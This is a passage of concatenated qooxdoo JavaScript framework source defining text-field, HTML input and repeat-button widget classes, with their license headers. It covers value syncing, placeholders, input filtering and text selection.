{@link TextField}. * * On every keystroke the value is synchronized with the * value of the textfield. Value changes can be monitored by listening to the * {@link #input} or {@link #changeValue} events, respectively. */ qx.Class.define("qx.ui.form.AbstractField", { extend : qx.ui.core.Widget, implement : [ qx.ui.form.IStringForm, qx.ui.form.IForm ], include : [ qx.ui.form.MForm ], type : "abstract", /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param value {String} initial text value of the input field ({@link #setValue}). */ construct : function(value) { this.base(arguments); // shortcut for placeholder feature detection this.__useQxPlaceholder = !qx.core.Environment.get("css.placeholder") || (qx.core.Environment.get("engine.name") == "gecko" && parseFloat(qx.core.Environment.get("engine.version")) >= 2); if (value != null) { this.setValue(value); } this.getContentElement().addListener( "change", this._onChangeContent, this ); // use qooxdoo placeholder if no native placeholder is supported if (this.__useQxPlaceholder) { // assign the placeholder text after the appearance has been applied this.addListener("syncAppearance", this._syncPlaceholder, this); } // translation support if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().addListener( "changeLocale", this._onChangeLocale, this ); } }, /* ***************************************************************************** EVENTS ***************************************************************************** */ events : { /** * The event is fired on every keystroke modifying the value of the field. * * The method {@link qx.event.type.Data#getData} returns the * current value of the text field. */ "input" : "qx.event.type.Data", /** * The event is fired each time the text field looses focus and the * text field values has changed. * * If you change {@link #liveUpdate} to true, the changeValue event will * be fired after every keystroke and not only after every focus loss. In * that mode, the changeValue event is equal to the {@link #input} event. * * The method {@link qx.event.type.Data#getData} returns the * current text value of the field. */ "changeValue" : "qx.event.type.Data" }, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { /** * Alignment of the text */ textAlign : { check : [ "left", "center", "right" ], nullable : true, themeable : true, apply : "_applyTextAlign" }, /** Whether the field is read only */ readOnly : { check : "Boolean", apply : "_applyReadOnly", event : "changeReadOnly", init : false }, // overridden selectable : { refine : true, init : true }, // overridden focusable : { refine : true, init : true }, /** Maximal number of characters that can be entered in the TextArea. */ maxLength : { check : "PositiveInteger", init : Infinity }, /** * Whether the {@link #changeValue} event should be fired on every key * input. If set to true, the changeValue event is equal to the * {@link #input} event. */ liveUpdate : { check : "Boolean", init : false }, /** * String value which will be shown as a hint if the field is all of: * unset, unfocused and enabled. Set to null to not show a placeholder * text. */ placeholder : { check : "String", nullable : true, apply : "_applyPlaceholder" }, /** * RegExp responsible for filtering the value of the textfield. the RegExp * gives the range of valid values. * The following example only allows digits in the textfield. * <pre class='javascript'>field.setFilter(/[0-9]/);</pre> */ filter : { check : "RegExp", nullable : true, init : null } }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __nullValue : true, __placeholder : null, __oldValue : null, __oldInputValue : null, __useQxPlaceholder : true, __font : null, __webfontListenerId : null, /* --------------------------------------------------------------------------- WIDGET API --------------------------------------------------------------------------- */ // overridden getFocusElement : function() { var el = this.getContentElement(); if (el) { return el; } }, /** * Creates the input element. Derived classes may override this * method, to create different input elements. * * @return {qx.html.Input} a new input element. */ _createInputElement : function() { return new qx.html.Input("text"); }, // overridden renderLayout : function(left, top, width, height) { var updateInsets = this._updateInsets; var changes = this.base(arguments, left, top, width, height); // Directly return if superclass has detected that no // changes needs to be applied if (!changes) { return; } var inner = changes.size || updateInsets; var pixel = "px"; if (inner || changes.local || changes.margin) { var insets = this.getInsets(); var innerWidth = width - insets.left - insets.right; var innerHeight = height - insets.top - insets.bottom; // ensure that the width and height never get negative innerWidth = innerWidth < 0 ? 0 : innerWidth; innerHeight = innerHeight < 0 ? 0 : innerHeight; } var input = this.getContentElement(); // we don't need to update positions on native placeholders if (updateInsets && this.__useQxPlaceholder) { // render the placeholder this.__getPlaceholderElement().setStyles({ "left": insets.left + pixel, "top": insets.top + pixel }); } if (inner) { // we don't need to update dimensions on native placeholders if (this.__useQxPlaceholder) { this.__getPlaceholderElement().setStyles({ "width": innerWidth + pixel, "height": innerHeight + pixel }); } input.setStyles({ "width": innerWidth + pixel, "height": innerHeight + pixel }); this._renderContentElement(innerHeight, input); } }, /** * Hook into {@link qx.ui.form.AbstractField#renderLayout} method. * Called after the contentElement has a width and an innerWidth. * * Note: This was introduced to fix BUG#1585 * * @param innerHeight {Integer} The inner height of the element. * @param element {Element} The element. */ _renderContentElement : function(innerHeight, element) { //use it in child classes }, // overridden _createContentElement : function() { // create and add the input element var el = this._createInputElement(); // Apply styles el.setStyles( { "border": "none", "padding": 0, "margin": 0, "display" : "block", "background" : "transparent", "outline": "none", "appearance": "none", "position": "absolute", "autoComplete": "off" }); // initialize the html input el.setSelectable(this.getSelectable()); el.setEnabled(this.getEnabled()); // Add listener for input event el.addListener("input", this._onHtmlInput, this); // Disable HTML5 spell checking el.setAttribute("spellcheck", "false"); // Block resize handle el.setStyle("resize", "none"); // IE8 in standard mode needs some extra love here to receive events. if ((qx.core.Environment.get("engine.name") == "mshtml")) { el.setStyles({ backgroundImage: "url(" + qx.util.ResourceManager.getInstance().toUri("qx/static/blank.gif") + ")" }); } return el; }, // overridden _applyEnabled : function(value, old) { this.base(arguments, value, old); this.getContentElement().setEnabled(value); if (this.__useQxPlaceholder) { if (value) { this._showPlaceholder(); } else { this._removePlaceholder(); } } else { var input = this.getContentElement(); // remove the placeholder on disabled input elements input.setAttribute("placeholder", value ? this.getPlaceholder() : ""); } }, // default text sizes /** * @lint ignoreReferenceField(__textSize) */ __textSize : { width : 16, height : 16 }, // overridden _getContentHint : function() { return { width : this.__textSize.width * 10, height : this.__textSize.height || 16 }; }, // overridden _applyFont : function(value, old) { if (old && this.__font && this.__webfontListenerId) { this.__font.removeListenerById(this.__webfontListenerId); this.__webfontListenerId = null; } // Apply var styles; if (value) { this.__font = qx.theme.manager.Font.getInstance().resolve(value); if (this.__font instanceof qx.bom.webfonts.WebFont) { this.__webfontListenerId = this.__font.addListener("changeStatus", this._onWebFontStatusChange, this); } styles = this.__font.getStyles(); } else { styles = qx.bom.Font.getDefaultStyles(); } // check if text color already set - if so this local value has higher priority if (this.getTextColor() != null) { delete styles["color"]; } // apply the font to the content element this.getContentElement().setStyles(styles); // the font will adjust automatically on native placeholders if (this.__useQxPlaceholder) { // don't apply the color to the placeholder delete styles["color"]; // apply the font to the placeholder this.__getPlaceholderElement().setStyles(styles); } // Compute text size if (value) { this.__textSize = qx.bom.Label.getTextSize("A", styles); } else { delete this.__textSize; } // Update layout qx.ui.core.queue.Layout.add(this); }, // overridden _applyTextColor : function(value, old) { if (value) { this.getContentElement().setStyle( "color", qx.theme.manager.Color.getInstance().resolve(value) ); } else { this.getContentElement().removeStyle("color"); } }, // overridden tabFocus : function() { this.base(arguments); this.selectAllText(); }, /** * Returns the text size. * @return {Map} The text size. */ _getTextSize : function() { return this.__textSize; }, /* --------------------------------------------------------------------------- EVENTS --------------------------------------------------------------------------- */ /** * Event listener for native input events. Redirects the event * to the widget. Also checks for the filter and max length. * * @param e {qx.event.type.Data} Input event */ _onHtmlInput : function(e) { var value = e.getData(); var fireEvents = true; this.__nullValue = false; // value unchanged; Firefox fires "input" when pressing ESC [BUG #5309] if (this.__oldInputValue && this.__oldInputValue === value) { fireEvents = false; } // check for the filter if (this.getFilter() != null) { var filteredValue = ""; var index = value.search(this.getFilter()); var processedValue = value; while(index >= 0) { filteredValue = filteredValue + (processedValue.charAt(index)); processedValue = processedValue.substring(index + 1, processedValue.length); index = processedValue.search(this.getFilter()); } if (filteredValue != value) { fireEvents = false; value = filteredValue; this.getContentElement().setValue(value); } } // check for the max length if (value.length > this.getMaxLength()) { fireEvents = false; this.getContentElement().setValue( value.substr(0, this.getMaxLength()) ); } // fire the events, if necessary if (fireEvents) { // store the old input value this.fireDataEvent("input", value, this.__oldInputValue); this.__oldInputValue = value; // check for the live change event if (this.getLiveUpdate()) { this.__fireChangeValueEvent(value); } } }, /** * Triggers text size recalculation after a web font was loaded * * @param ev {qx.event.type.Data} "changeStatus" event */ _onWebFontStatusChange : function(ev) { if (ev.getData().valid === true) { var styles = this.__font.getStyles(); this.__textSize = qx.bom.Label.getTextSize("A", styles); qx.ui.core.queue.Layout.add(this); } }, /** * Handles the firing of the changeValue event including the local cache * for sending the old value in the event. * * @param value {String} The new value. */ __fireChangeValueEvent : function(value) { var old = this.__oldValue; this.__oldValue = value; if (old != value) { this.fireNonBubblingEvent( "changeValue", qx.event.type.Data, [value, old] ); } }, /* --------------------------------------------------------------------------- TEXTFIELD VALUE API --------------------------------------------------------------------------- */ /** * Sets the value of the textfield to the given value. * * @param value {String} The new value */ setValue : function(value) { // handle null values if (value === null) { // just do nothing if null is already set if (this.__nullValue) { return value; } value = ""; this.__nullValue = true; } else { this.__nullValue = false; // native placeholders will be removed by the browser if (this.__useQxPlaceholder) { this._removePlaceholder(); } } if (qx.lang.Type.isString(value)) { var elem = this.getContentElement(); if (value.length > this.getMaxLength()) { value = value.substr(0, this.getMaxLength()); } if (elem.getValue() != value) { var oldValue = elem.getValue(); elem.setValue(value); var data = this.__nullValue ? null : value; this.__oldValue = oldValue; this.__fireChangeValueEvent(data); } // native placeholders will be shown by the browser if (this.__useQxPlaceholder) { this._showPlaceholder(); } return value; } throw new Error("Invalid value type: " + value); }, /** * Returns the current value of the textfield. * * @return {String|null} The current value */ getValue : function() { var value = this.getContentElement().getValue(); return this.__nullValue ? null : value; }, /** * Resets the value to the default */ resetValue : function() { this.setValue(null); }, /** * Event listener for change event of content element * * @param e {qx.event.type.Data} Incoming change event */ _onChangeContent : function(e) { this.__nullValue = e.getData() === null; this.__fireChangeValueEvent(e.getData()); }, /* --------------------------------------------------------------------------- TEXTFIELD SELECTION API --------------------------------------------------------------------------- */ /** * Returns the current selection. * This method only works if the widget is already created and * added to the document. * * @return {String|null} */ getTextSelection : function() { return this.getContentElement().getTextSelection(); }, /** * Returns the current selection length. * This method only works if the widget is already created and * added to the document. * * @return {Integer|null} */ getTextSelectionLength : function() { return this.getContentElement().getTextSelectionLength(); }, /** * Returns the start of the text selection * * @return {Integer|null} Start of selection or null if not available */ getTextSelectionStart : function() { return this.getContentElement().getTextSelectionStart(); }, /** * Returns the end of the text selection * * @return {Integer|null} End of selection or null if not available */ getTextSelectionEnd : function() { return this.getContentElement().getTextSelectionEnd(); }, /** * Set the selection to the given start and end (zero-based). * If no end value is given the selection will extend to the * end of the textfield's content. * This method only works if the widget is already created and * added to the document. * * @param start {Integer} start of the selection (zero-based) * @param end {Integer} end of the selection * @return {void} */ setTextSelection : function(start, end) { this.getContentElement().setTextSelection(start, end); }, /** * Clears the current selection. * This method only works if the widget is already created and * added to the document. * * @return {void} */ clearTextSelection : function() { this.getContentElement().clearTextSelection(); }, /** * Selects the whole content * * @return {void} */ selectAllText : function() { this.setTextSelection(0); }, /* --------------------------------------------------------------------------- PLACEHOLDER HELPER --------------------------------------------------------------------------- */ /** * Helper to show the placeholder text in the field. It checks for all * states and possible conditions and shows the placeholder only if allowed. */ _showPlaceholder : function() { var fieldValue = this.getValue() || ""; var placeholder = this.getPlaceholder(); if ( placeholder != null && fieldValue == "" && !this.hasState("focused") && !this.hasState("disabled") ) { if (this.hasState("showingPlaceholder")) { this._syncPlaceholder(); } else { // the placeholder will be set as soon as the appearance is applied this.addState("showingPlaceholder"); } } }, /** * Helper to remove the placeholder. Deletes the placeholder text from the * field and removes the state. */ _removePlaceholder: function() { if (this.hasState("showingPlaceholder")) { this.__getPlaceholderElement().setStyle("visibility", "hidden"); this.removeState("showingPlaceholder"); } }, /** * Updates the placeholder text with the DOM */ _syncPlaceholder : function () { if (this.hasState("showingPlaceholder")) { this.__getPlaceholderElement().setStyle("visibility", "visible"); } }, /** * Returns the placeholder label and creates it if necessary. */ __getPlaceholderElement : function() { if (this.__placeholder == null) { // create the placeholder this.__placeholder = new qx.html.Label(); var colorManager = qx.theme.manager.Color.getInstance(); this.__placeholder.setStyles({ "visibility" : "hidden", "zIndex" : 6, "position" : "absolute", "color" : colorManager.resolve("text-placeholder") }); this.getContainerElement().add(this.__placeholder); } return this.__placeholder; }, /** * Locale change event handler * * @signature function(e) * @param e {Event} the change event */ _onChangeLocale : qx.core.Environment.select("qx.dynlocale", { "true" : function(e) { var content = this.getPlaceholder(); if (content && content.translate) { this.setPlaceholder(content.translate()); } }, "false" : null }), /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // property apply _applyPlaceholder : function(value, old) { if (this.__useQxPlaceholder) { this.__getPlaceholderElement().setValue(value); if (value != null) { this.addListener("focusin", this._removePlaceholder, this); this.addListener("focusout", this._showPlaceholder, this); this._showPlaceholder(); } else { this.removeListener("focusin", this._removePlaceholder, this); this.removeListener("focusout", this._showPlaceholder, this); this._removePlaceholder(); } } else { // only apply if the widget is enabled if (this.getEnabled()) { this.getContentElement().setAttribute("placeholder", value); } } }, // property apply _applyTextAlign : function(value, old) { this.getContentElement().setStyle("textAlign", value); }, // property apply _applyReadOnly : function(value, old) { var element = this.getContentElement(); element.setAttribute("readOnly", value); if (value) { this.addState("readonly"); this.setFocusable(false); } else { this.removeState("readonly"); this.setFocusable(true); } } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this.__placeholder = this.__font = null; if (qx.core.Environment.get("qx.dynlocale")) { qx.locale.Manager.getInstance().removeListener("changeLocale", this._onChangeLocale, this); } if (this.__font && this.__webfontListenerId) { this.__font.removeListenerById(this.__webfontListenerId); } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * A Input wrap any valid HTML input element and make it accessible * through the normalized qooxdoo element interface. */ qx.Class.define("qx.html.Input", { extend : qx.html.Element, /* ***************************************************************************** CONSTRUCTOR ***************************************************************************** */ /** * @param type {String} The type of the input field. Valid values are * <code>text</code>, <code>textarea</code>, <code>select</code>, * <code>checkbox</code>, <code>radio</code>, <code>password</code>, * <code>hidden</code>, <code>submit</code>, <code>image</code>, * <code>file</code>, <code>search</code>, <code>reset</code>, * <code>select</code> and <code>textarea</code>. * @param styles {Map?null} optional map of CSS styles, where the key is the name * of the style and the value is the value to use. * @param attributes {Map?null} optional map of element attributes, where the * key is the name of the attribute and the value is the value to use. */ construct : function(type, styles, attributes) { // Update node name correctly if (type === "select" || type === "textarea") { var nodeName = type; } else { nodeName = "input"; } this.base(arguments, nodeName, styles, attributes); this.__type = type; }, /* ***************************************************************************** MEMBERS ***************************************************************************** */ members : { __type : null, // used for webkit only __selectable : null, __enabled : null, /* --------------------------------------------------------------------------- ELEMENT API --------------------------------------------------------------------------- */ //overridden _createDomElement : function() { return qx.bom.Input.create(this.__type); }, // overridden _applyProperty : function(name, value) { this.base(arguments, name, value); var element = this.getDomElement(); if (name === "value") { qx.bom.Input.setValue(element, value); } else if (name === "wrap") { qx.bom.Input.setWrap(element, value); // qx.bom.Input#setWrap has the side-effect that the CSS property // overflow is set via DOM methods, causing queue and DOM to get // out of sync. Mirror all overflow properties to handle the case // when group and x/y property differ. this.setStyle("overflow", element.style.overflow, true); this.setStyle("overflowX", element.style.overflowX, true); this.setStyle("overflowY", element.style.overflowY, true); } }, /** * Set the input element enabled / disabled. * Webkit needs a special treatment because the set color of the input * field changes automatically. Therefore, we use * <code>-webkit-user-modify: read-only</code> and * <code>-webkit-user-select: none</code> * for disabling the fields in webkit. All other browsers use the disabled * attribute. * * @param value {Boolean} true, if the inpout element should be enabled. */ setEnabled : qx.core.Environment.select("engine.name", { "webkit" : function(value) { this.__enabled = value; if (!value) { this.setStyles({ "userModify": "read-only", "userSelect": "none" }); } else { this.setStyles({ "userModify": null, "userSelect": this.__selectable ? null : "none" }); } }, "default" : function(value) { this.setAttribute("disabled", value===false); } }), /** * Set whether the element is selectable. It uses the qooxdoo attribute * qxSelectable with the values 'on' or 'off'. * In webkit, a special css property will be used and checks for the * enabled state. * * @param value {Boolean} True, if the element should be selectable. */ setSelectable : qx.core.Environment.select("engine.name", { "webkit" : function(value) { this.__selectable = value; // Only apply the value when it is enabled this.base(arguments, this.__enabled && value); }, "default" : function(value) { this.base(arguments, value); } }), /* --------------------------------------------------------------------------- INPUT API --------------------------------------------------------------------------- */ /** * Sets the value of the input element. * * @param value {var} the new value * @return {qx.html.Input} This instance for for chaining support. */ setValue : function(value) { var element = this.getDomElement(); if (element) { // Do not overwrite when already correct (on input events) // This is needed to keep caret position while typing. if (element.value != value) { qx.bom.Input.setValue(element, value); } } else { this._setProperty("value", value); } return this; }, /** * Get the current value. * * @return {String} The element's current value. */ getValue : function() { var element = this.getDomElement(); if (element) { return qx.bom.Input.getValue(element); } return this._getProperty("value") || ""; }, /** * Sets the text wrap behavior of a text area element. * * This property uses the style property "wrap" (IE) respectively "whiteSpace" * * @param wrap {Boolean} Whether to turn text wrap on or off. * @param direct {Boolean?false} Whether the execution should be made * directly when possible * @return {qx.html.Input} This instance for for chaining support. */ setWrap : function(wrap, direct) { if (this.__type === "textarea") { this._setProperty("wrap", wrap, direct); } else { throw new Error("Text wrapping is only support by textareas!"); } return this; }, /** * Gets the text wrap behavior of a text area element. * * This property uses the style property "wrap" (IE) respectively "whiteSpace" * * @return {Boolean} Whether wrapping is enabled or disabled. */ getWrap : function() { if (this.__type === "textarea") { return this._getProperty("wrap"); } else { throw new Error("Text wrapping is only support by textareas!"); } } } });/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) ====================================================================== This class contains code based on the following work: * jQuery http://jquery.com Version 1.3.1 Copyright: 2009 John Resig License: MIT: http://www.opensource.org/licenses/mit-license.php ************************************************************************ */ /* ************************************************************************ #require(qx.lang.Array#contains) ************************************************************************ */ /** * Cross browser abstractions to work with input elements. */ qx.Bootstrap.define("qx.bom.Input", { /* ***************************************************************************** STATICS ***************************************************************************** */ statics : { /** {Map} Internal data structures with all supported input types */ __types : { text : 1, textarea : 1, select : 1, checkbox : 1, radio : 1, password : 1, hidden : 1, submit : 1, image : 1, file : 1, search : 1, reset : 1, button : 1 }, /** * Creates an DOM input/textarea/select element. * * Attributes may be given directly with this call. This is critical * for some attributes e.g. name, type, ... in many clients. * * Note: <code>select</code> and <code>textarea</code> elements are created * using the identically named <code>type</code>. * * @param type {String} Any valid type for HTML, <code>select</code> * and <code>textarea</code> * @param attributes {Map} Map of attributes to apply * @param win {Window} Window to create the element for * @return {Element} The created input node */ create : function(type, attributes, win) { if (qx.core.Environment.get("qx.debug")) { qx.core.Assert.assertKeyInMap(type, this.__types, "Unsupported input type."); } // Work on a copy to not modify given attributes map var attributes = attributes ? qx.lang.Object.clone(attributes) : {}; var tag; if (type === "textarea" || type === "select") { tag = type; } else { tag = "input"; attributes.type = type; } return qx.dom.Element.create(tag, attributes, win); }, /** * Applies the given value to the element. * * Normally the value is given as a string/number value and applied * to the field content (textfield, textarea) or used to * detect whether the field is checked (checkbox, radiobutton). * * Supports array values for selectboxes (multiple-selection) * and checkboxes or radiobuttons (for convenience). * * Please note: To modify the value attribute of a checkbox or * radiobutton use {@link qx.bom.element.Attribute#set} instead. * * @param element {Element} element to update * @param value {String|Number|Array} the value to apply */ setValue : function(element, value) { var tag = element.nodeName.toLowerCase(); var type = element.type; var Array = qx.lang.Array; var Type = qx.lang.Type; if (typeof value === "number") { value += ""; } if ((type === "checkbox" || type === "radio")) { if (Type.isArray(value)) { element.checked = Array.contains(value, element.value); } else { element.checked = element.value == value; } } else if (tag === "select") { var isArray = Type.isArray(value); var options = element.options; var subel, subval; for (var i=0, l=options.length; i<l; i++) { subel = options[i]; subval = subel.getAttribute("value"); if (subval == null) { subval = subel.text; } subel.selected = isArray ? Array.contains(value, subval) : value == subval; } if (isArray && value.length == 0) { element.selectedIndex = -1; } } else if ((type === "text" || type === "textarea") && (qx.core.Environment.get("engine.name") == "mshtml")) { // These flags are required to detect self-made property-change // events during value modification. They are used by the Input // event handler to filter events. element.$$inValueSet = true; element.value = value; element.$$inValueSet = null; } else { element.value = value; } }, /** * Returns the currently configured value. * * Works with simple input fields as well as with * select boxes or option elements. * * Returns an array in cases of multi-selection in * select boxes but in all other cases a string. * * @param element {Element} DOM element to query * @return {String|Array} The value of the given element */ getValue : function(element) { var tag = element.nodeName.toLowerCase(); if (tag === "option") { return (element.attributes.value || {}).specified ? element.value : element.text; } if (tag === "select") { var index = element.selectedIndex; // Nothing was selected if (index < 0) { return null; } var values = []; var options = element.options; var one = element.type == "select-one"; var clazz = qx.bom.Input; var value; // Loop through all the selected options for (var i=one ? index : 0, max=one ? index+1 : options.length; i<max; i++) { var option = options[i]; if (option.selected) { // Get the specifc value for the option value = clazz.getValue(option); // We don't need an array for one selects if (one) { return value; } // Multi-Selects return an array values.push(value); } } return values; } else { return (element.value || "").replace(/\r/g, ""); } }, /** * Sets the text wrap behaviour of a text area element. * This property uses the attribute "wrap" respectively * the style property "whiteSpace" * * @signature function(element, wrap) * @param element {Element} DOM element to modify * @param wrap {Boolean} Whether to turn text wrap on or off. */ setWrap : qx.core.Environment.select("engine.name", { "mshtml" : function(element, wrap) { var wrapValue = wrap ? "soft" : "off"; // Explicitly set overflow-y CSS property to auto when wrapped, // allowing the vertical scroll-bar to appear if necessary var styleValue = wrap ? "auto" : ""; element.wrap = wrapValue; element.style.overflowY = styleValue; }, "gecko|webkit" : function(element, wrap) { var wrapValue = wrap ? "soft" : "off"; var styleValue = wrap ? "" : "auto"; element.setAttribute("wrap", wrapValue); element.style.overflow = styleValue; }, "default" : function(element, wrap) { element.style.whiteSpace = wrap ? "normal" : "nowrap"; } }) } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Fabian Jakobs (fjakobs) * Adrian Olaru (adrianolaru) ************************************************************************ */ /** * The TextField is a single-line text input field. */ qx.Class.define("qx.ui.form.TextField", { extend : qx.ui.form.AbstractField, /* ***************************************************************************** PROPERTIES ***************************************************************************** */ properties : { // overridden appearance : { refine : true, init : "textfield" }, // overridden allowGrowY : { refine : true, init : false }, // overridden allowShrinkY : { refine : true, init : false } }, members : { // overridden _renderContentElement : function(innerHeight, element) { if ((qx.core.Environment.get("engine.name") == "mshtml") && (parseInt(qx.core.Environment.get("engine.version"), 10) < 9 || qx.core.Environment.get("browser.documentmode") < 9)) { element.setStyles({ "line-height" : innerHeight + 'px' }); } } } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) * Andreas Ecker (ecker) * Martin Wittemann (martinwittemann) * Fabian Jakobs (fjakobs) ************************************************************************ */ /** * The RepeatButton is a special button, which fires repeatedly {@link #execute} * events, while the mouse button is pressed on the button. The initial delay * and the interval time can be set using the properties {@link #firstInterval} * and {@link #interval}. The {@link #execute} events will be fired in a shorter * amount of time if the mouse button is hold, until the min {@link #minTimer} * is reached. The {@link #timerDecrease} property sets the amount of milliseconds * which will decreased after every firing. * * <pre class='javascript'> * var button = new qx.ui.form.RepeatButton("Hello World"); * * button.addListener("execute", function(e) { * alert("Button is executed"); * }, this); * * this.getRoot.add(button); * </pre> * * This example creates a button with the label "Hello World" and attaches an * event listener to the {@link #execute} event. * * *External Documentation* * * <a href='http://manual.qooxdoo.org/${qxversion}/pages/widget/repeatbutton.html' target='_blank'> * Documentation of this widget in the qooxdoo manual.</a> */ qx.Class.define("qx.ui.form.RepeatButton", { extend : qx.ui.form.Button, /** * @param label {String} Label to use * @param icon {String?null} Icon to use */ construct : function(label, icon) { this.base(arguments, label, icon); // create the timer and add the listener this.__timer = new qx.event.AcceleratingTimer(); this.__timer.addListener("interval", this._onInterval, this); }, events : { /** * This event gets dispatched with every interval. The timer gets executed * as long as the user holds down the mouse button. */ "execute" : "qx.event.type.Event", /** * This event gets dispatched when the button is pressed. */ "press" : "qx.event.type.Event", /** * This event gets dispatched when the button is released. */ "release" : "qx.event.type.Event" }, properties : { /** * Interval used after the first run of the timer. Usually a smaller value * than the "firstInterval" property value to get a faster reaction. */ interval : { check : "Integer", init : 100 }, /** * Interval used for the first run of the timer. Usually a greater value * than the "interval" property value to a little delayed reaction at the first * time. */ firstInterval : { check : "Integer", init : 500 }, /** This configures the minimum value for the timer interval. */ minTimer : { check : "Integer", init : 20 }, /** Decrease of the timer on each interval (for the next interval) until minTimer reached. */ timerDecrease : { check : "Integer", init : 2 } }, members : { __executed : null, __timer : null, /** * Calling this function is like a click from the user on the * button with all consequences. * <span style='color: red'>Be sure to call the {@link #release} function.</span> * * @return {void} */ press : function() { // only if the button is enabled if (this.isEnabled()) { // if the state pressed must be applied (first call) if (!this.hasState("pressed")) { // start the timer this.__startInternalTimer(); } // set the states this.removeState("abandoned"); this.addState("pressed"); } }, /** * Calling this function is like a release from the user on the * button with all consequences. * Usually the {@link #release} function will be called before the call of * this function. * * @param fireExecuteEvent {Boolean?true} flag which signals, if an event should be fired * @return {void} */ release : function(fireExecuteEvent) { // only if the button is enabled if (!this.isEnabled()) { return; } // only if the button is pressed if (this.hasState("pressed")) { // if the button has not been executed if (!this.__executed) { this.execute(); } } // remove button states this.removeState("pressed"); this.removeState("abandoned"); // stop the repeat timer and therefore the execution this.__stopInternalTimer(); }, /* --------------------------------------------------------------------------- PROPERTY APPLY ROUTINES --------------------------------------------------------------------------- */ // overridden _applyEnabled : function(value, old) { this.base(arguments, value, old); if (!value) { // remove button states this.removeState("pressed"); this.removeState("abandoned"); // stop the repeat timer and therefore the execution this.__stopInternalTimer(); } }, /* --------------------------------------------------------------------------- EVENT HANDLER --------------------------------------------------------------------------- */ /** * Listener method for "mouseover" event * <ul> * <li>Adds state "hovered"</li> * <li>Removes "abandoned" and adds "pressed" state (if "abandoned" state is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOver : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } if (this.hasState("abandoned")) { this.removeState("abandoned"); this.addState("pressed"); this.__timer.start(); } this.addState("hovered"); }, /** * Listener method for "mouseout" event * <ul> * <li>Removes "hovered" state</li> * <li>Adds "abandoned" and removes "pressed" state (if "pressed" state is set)</li> * </ul> * * @param e {Event} Mouse event * @return {void} */ _onMouseOut : function(e) { if (!this.isEnabled() || e.getTarget() !== this) { return; } this.removeState("hovered"); if (this.hasState("pressed")) { this.removeState("pressed"); this.addState("abandoned"); this.__timer.stop(); } }, /** * Callback method for the "mouseDown" method. * * Sets the interval of the timer (value of firstInterval property) and * starts the timer. Additionally removes the state "abandoned" and adds the * state "pressed". * * @param e {qx.event.type.Mouse} mouseDown event * @return {void} */ _onMouseDown : function(e) { if (!e.isLeftPressed()) { return; } // Activate capturing if the button get a mouseout while // the button is pressed. this.capture(); this.__startInternalTimer(); e.stopPropagation(); }, /** * Callback method for the "mouseUp" event. * * Handles the case that the user is releasing the mouse button * before the timer interval method got executed. This way the * "execute" method get executed at least one time. * * @param e {qx.event.type.Mouse} mouseUp event * @return {void} */ _onMouseUp : function(e) { this.releaseCapture(); if (!this.hasState("abandoned")) { this.addState("hovered"); if (this.hasState("pressed") && !this.__executed) { this.execute(); } } this.__stopInternalTimer(); e.stopPropagation(); }, /** * Listener method for "keyup" event. * * Removes "abandoned" and "pressed" state (if "pressed" state is set) * for the keys "Enter" or "Space" and stopps the internal timer * (same like mouse up). * * @param e {Event} Key event * @return {void} */ _onKeyUp : function(e) { switch(e.getKeyIdentifier()) { case "Enter": case "Space": if (this.hasState("pressed")) { if (!this.__executed) { this.execute(); } this.removeState("pressed"); this.removeState("abandoned"); e.stopPropagation(); this.__stopInternalTimer(); } } }, /** * Listener method for "keydown" event. * * Removes "abandoned" and adds "pressed" state * for the keys "Enter" or "Space". It also starts * the internal timer (same like mousedown). * * @param e {Event} Key event * @return {void} */ _onKeyDown : function(e) { switch(e.getKeyIdentifier()) { case "Enter": case "Space": this.removeState("abandoned"); this.addState("pressed"); e.stopPropagation(); this.__startInternalTimer(); } }, /** * Callback for the interval event. * * Stops the timer and starts it with a new interval * (value of the "interval" property - value of the "timerDecrease" property). * Dispatches the "execute" event. * * @param e {qx.event.type.Event} interval event * @return {void} */ _onInterval : function(e) { this.__executed = true; this.fireEvent("execute"); }, /* --------------------------------------------------------------------------- INTERNAL TIMER --------------------------------------------------------------------------- */ /** * Starts the internal timer which causes firing of execution * events in an interval. It also presses the button. * * @return {void} */ __startInternalTimer : function() { this.fireEvent("press"); this.__executed = false; this.__timer.set({ interval: this.getInterval(), firstInterval: this.getFirstInterval(), minimum: this.getMinTimer(), decrease: this.getTimerDecrease() }).start(); this.removeState("abandoned"); this.addState("pressed"); }, /** * Stops the internal timer and releases the button. * * @return {void} */ __stopInternalTimer : function() { this.fireEvent("release"); this.__timer.stop(); this.removeState("abandoned"); this.removeState("pressed"); } }, /* ***************************************************************************** DESTRUCTOR ***************************************************************************** */ destruct : function() { this._disposeObjects("__timer"); } }); /* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2009 